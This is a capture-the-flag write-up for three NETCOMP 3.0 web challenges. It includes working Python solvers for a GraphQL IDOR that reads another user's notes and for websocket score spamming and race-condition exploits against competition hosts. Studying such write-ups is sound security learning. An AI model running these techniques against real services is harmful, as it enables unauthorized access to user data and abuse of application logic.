NETCOMP 3.0

Participated with team nama yang gaje ketika dipanggil podium

Name
Category
Vuln

EZNotes

Web Exploitation

GraphQL IDOR

Karbitan

Web Exploitation

Websocket Automation

Karbitan V2

Web Exploitation

Race Condition Websocket

EZNotes

TL;DR

GraphQL IDOR lead to Broken Access Control

Solution

No source code is given in this challenge, so I just directly try to inspect the website to get some information

We get some nice information, which is the current challenge have objective with graphql service. So, I try to start the enumeration of this graphql service with this common query

query{__schema{types{name fields{name}}}}

When the query above to server it will result the response like below

Take a look from the response we notice that some schema is never get called, which is userNotesand users. From the information I try to get more information from that schema query.

So, I use the python script to make the enumeration is clear and more readable

solver.py
from gql import Client, gql
from gql.transport.requests import RequestsHTTPTransport


transport = RequestsHTTPTransport(url="http://103.127.138.252:10138/graphql",verify=True,retries=3)
client = Client(transport=transport, fetch_schema_from_transport=True)


def login(username, password):
    query = gql("""mutation{
        login(userData: {username: "%s", password: "%s"}){
            token
            user {
                id
                username
                role
                isActive
            }
        }
    }
    """ % (username, password))
    r = client.execute(query)
    return r


def getNotes():
    query = gql("""query{
        notes {
            id
            userId
            title
            description
        }
    }
    """)
    r = client.execute(query)
    return r


if __name__ == "__main__":
    # login
    username, password = "rootkids", "rootkidsgacorbroo"
    r = login(username, password)
    token = r['login']['token']
    transport.headers = {'Authorization': 'Bearer ' + token}

    # get notes
    r = getNotes()
    print(r)

We get nothing, just empty array of notes in the response. I just assume that this notes only get the notes from the current authenticated user. Then we try the usersquery to see if there is accessible and we can see the list of available users.

def getUsers():
    query = gql("""query{
        users {
            id
            username
            role
            isActive
        }
    }
    """)
    r = client.execute(query)
    return r

We got something, in the response we know the detailed information about the admin user, so maybe we can use this information to get something information then get the flag.

Remember, we have the query userNoteswhich is accept the user idargument to get the notes, looks so getting closer to the flag right? let's try add this exploit function

def getUserNotes():
    query = gql("""query{
        userNotes(userId: "0ef76d86-3a59-4508-8050-6d8c86a3532f" ) {
            id
            userId
            title
            description
        }
    }
    """)
    r = client.execute(query)
    return r

then called it and let's see the result

Flag

Netcomp{eazzy_graphql_broken_access_control_exploit_n0tes}


Karbitan

TL;DR

Simple websocket connection to emit and increase the score to get the flag

Solution

Given the server.jsattachment, which is the websocket service, the functionality is just to increase the score point until get the minimum point to get the flag

The handle to get flag

There is the constant config variable that exists in the source code

So, simple when we hit we can only send the 50 score, and the minimum score to get the flag is 5000 we know that in the source code is doesn't have any restriction, then we can just send the score 50 over and over until we get the minimum score. So this is my final solver

solver.py
import socketio


SERVER_URL = 'ws://103.127.138.252:23130'


sio = socketio.Client()


def emitInit():
    sio.emit('init', {'uuid': 'rootkids', 'name': 'rootkids'})


def emitUpdateScore(score: int):
    sio.emit('update', {'score': score})


def emitFlag():
    sio.emit('flag')


@sio.event
def connect():
    print("Successfully connected to the server!")
    emitInit()
    for _ in range(100):
        emitUpdateScore(50)
    emitFlag()


@sio.event
def disconnect():
    print("Disconnected from the server.")


@sio.event
def score(data):
    print("Received score:", data)


@sio.event
def flag(data):
    print("Received flag:", data)


def main():
    sio.connect(SERVER_URL, wait_timeout=10, transports=['websocket'])
    sio.wait()


if __name__ == '__main__':
    main()

Flag

Netcomp{webs0cket_k4rbitan_so_e4sy}


Karbitan V2

TL;DR

Has same objective with the previous challenge, but we must win the race condition to get the flag.

Solution

We got some enhancemnet in the service code

Notice, there is now has the socket.lockvariable, which is will indicate when the incremental score can't be use again, then when socket.lockis true it will call the deleteDatafunction

That's mean our score history will be deleted from the database. Then how?

Remember and take a look again the source, which is whensocket.lock is still has falsevalue we can still make the increment the score, so that's mean we must make a bunch of request before socket.lock converted to true , but we must doing that at the almost same time and as quickly as possible we trigger the emit flag

The chance of the Race Condition is so small, so the solver must be ran a several times to get the expected output

solver.py
import websocket
import time

def init(ws):
   ws.send(f'42["init",{{"uuid":"rootkids","name":"rootkids"}}]')

def update(ws):
   ws.send(f'42["update",{{"score":50}}]')

def flag(ws):
   ws.send(f'42["flag"]')

def on_open(ws):
   print("Successfully connected to the server!")
   init(ws)
   for i in range(200):
       update(ws)
       flag(ws)
       time.sleep(0.0000000001)

def on_error(ws, error):
   print("Error:", error)

def on_close(ws, close_status_code, close_msg):
   print("Disconnected from the server.")

def on_message(ws, message):
   print(message)
   if "netcomp" in message.lower():
       with open("flag.txt", "w") as f:
           f.write(message)
       print(message)
       exit(0)

def main(url):
   ws = websocket.WebSocketApp(
       url,
       on_open=on_open,
       on_message=on_message,
       on_close=on_close,
       on_error=on_error,
   )
   ws.run_forever()

if __name__ == "__main__":
   target = "ws://103.127.138.252:35769/socket.io/?UIO=4&transport=websocket"
   main(target)

Then I run the solver script using the corruntlyprogram to run it twice in the same time and make the server is overload

concurrently "python3 solver.py" "python3 solver.py"

Flag

Netcomp{webs0cket_k4rbit_buk4n_s3mb4r4ng_k4rb1t}

Last updated